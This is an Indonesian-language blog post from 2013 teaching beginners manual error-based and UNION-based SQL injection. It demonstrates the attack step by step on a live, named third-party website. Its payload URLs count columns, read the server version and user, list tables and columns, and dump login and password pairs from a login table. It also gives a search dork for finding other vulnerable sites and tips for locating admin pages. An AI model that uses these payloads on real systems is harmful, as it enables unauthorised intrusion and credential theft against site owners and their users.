26 April 2013

Filled Under:

Error Based SQL injection





Berhubung tutor sql injection yang pernah saya bikin, agak disingkat. Pada kali ini saya coba sharing tutorial based sql injection dengan detail. Levelnya untuk pemula saja, yang masih awal dalam melakukan sql injection.

1. Apa Sql Injection itu ?

Salah satu tehnik dari sekian cara hacker mencuri data pada website yakni Sql injection. Penetrasi SQLi adalah tekhnik familliar yang coba memanfaatkan celah error pada aplikasi website (program error). Tujuannya yakni untuk mengetauhi isi database yang di pakai oleh website. Nah, database yang umum sering di gunakan berbagai website adalah Mysql, tentunya selain MsSql, MsAcces, postgreSQL, dan Oracle Jadi sesuai dengan judulnya yakni Sql Injection, jadi injeksi pada database website dengan memanfaatkan celah error. Cuma pastinya kita melakukan dengan manual, yakni request lewat url atau manual tanpa bantuan tool. akan tetapi banyak aplikasi sql injection, namun lebih tepat dan akurat kalau kita sering-sering latihan dengan manual.

2. Trus metode - metode Sql Injection apa ?

Berikut adalah jenis-jenis SQLi, akan tetapi saya tidak akan jelaskan masing-masing (mumet & kepanjangan)

UNION Based SQL injection
String Based SQL injection
Error Based SQL injection
Double Query SQL injection
Blind SQL injection
MsSQL injection

3. Apa saja yang kita butuhkan untuk melakukan sql injection ?
Tentunya yang perlu kita siapkan adalah sebagai berikut :

- dork sql injection
- add ons hackbar
- keberuntungan dan kesabaran

4. Contoh live target

http://efbw.eu/news.php?ID=42



- dork sqli = inurl:news.php?ID=
- copy-paste di search engine (google, bing, yahoo)

Untuk mengecek apakan dia ada pesan error, silahkan anda tambahkan = ' (koma atas) pada akhir url

http://efbw.eu/news.php?ID=42'

pesan errornya :

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

Berarti jelas websitenya ada celah untuk kita injeksi.

+ Kemudian tambahkan perintah : order+by+ dan -- pada akhir url

http://efbw.eu/news.php?ID=42+order+by+1-- normal
http://efbw.eu/news.php?ID=42+order+by+1,2-- normal
http://efbw.eu/news.php?ID=42+order+by+1,2,3-- normal
http://efbw.eu/news.php?ID=42+order+by+1,2,3,4-- normal
http://efbw.eu/news.php?ID=42+order+by+1,2,3,4,5-- normal
http://efbw.eu/news.php?ID=42+order+by+1,2,3,4,5,6-- error




berarti validnya hanya sampai pada "5" (Column Count is 5)
nah, disini kita masuk pada tahap lanjutnya.
kita akan mencari angka ajaib pada websitenya :)
kita lakukan langkah berikutnya dengan perintah berikut..

masukan perintah :
http://efbw.eu/news.php?ID=-42+union+all+select+1,2,3,4,5--



angka ajaib yang muncul yakni angka "3"
+ kemudian kita akan mengecek versi mysqlnya, user, data direktori, dan user.

http://efbw.eu/news.php?ID=-42+union+all+select+1,2,group_concat(database(),0x0a,version(),0x0a,@@datadir,0x0a,@@hostname,0x0a,user()),4,5--



database()
version()
user()
@@datadir
@@hostname

+ untuk melihat semua database yang ada pada web target :

http://efbw.eu/news.php?ID=-42+union+all+select+1,2,group_concat(database()),4,5--
atau ...
http://efbw.eu/news.php?ID=-42+union+all+select+1,2,group_concat(schema_name),4,5+from+information_schema.schemata--



+ Kemudian kita akan mencari table databasenya

perintahnya yakni : "group_concat(table_name)" dan from+information_schema.tables+where+table_schema=database()--"

http://efbw.eu/news.php?ID=-42+union+all+select+1,2,group_concat(table_name),4,5+from+information_schema.tables+where+table_schema=database()--



+ Sesudah itu kita akan coba melihat kolom dari table yang kita inginkan.
Saya asumsikan kita akan melihat kolom dari table : "tbl_login"

Akan tetapi, tentunya kita convert terlebih dahulu. gunakanlah add hackbar yang terpasang di web browser anda (Hackbar).




tbl_login = 0x74625f6c6f67696e

Setelah kita encoding stringnya, langsung saja kita cari kolom dari tablenya.
Perintah yang kita ketikkan yakni : "group_concat(column_name)"

Kemudian di akhir url :
from+information_schema.columns+where+table_name=0x74625f6c6f67696e
ganti "database()--" dengan "0x74625f6c6f67696e"
penjelasan :
- 0x (spasi)
- 74625f6c6f67696e adalah "tbl_login" yang telah kita encoding
- sehingga menjadi : 0x74625f6c6f67696e

http://efbw.eu/news.php?ID=-42+union+all+select+1,2,group_concat(column_name),4,5+from+information_schema.columns+where+table_name=0x74625f6c6f67696e



+ Terakhir kita lihat dari kolom table yakni = "login" dan "password"

ketikkan kode berikut ini : "group_concat(login,0x3a,password)" dan "from+tb_login--"
penjelasan : 0x3a ( : )

http://efbw.eu/news.php?ID=-42+union+all+select+1,2,group_concat(login,0x3a,password),4,5+from+tb_login--


Kalau telah kita temukan passwordnya, kawan bisa cari admin pagenya.
untuk mencari halaman admin login websitenya anda bisa ketikan : admin.php, admin/index.php, administrator, wp-login, dsb.

Code : www.target.com/admin.php

Nah kalau gak ketemu juga admin pagenya, anda bisa liat tutor yang telah saya buat untuk menemukan admin page pada suatu website.

Silahkan klik disini

Salam ...





0 komentar: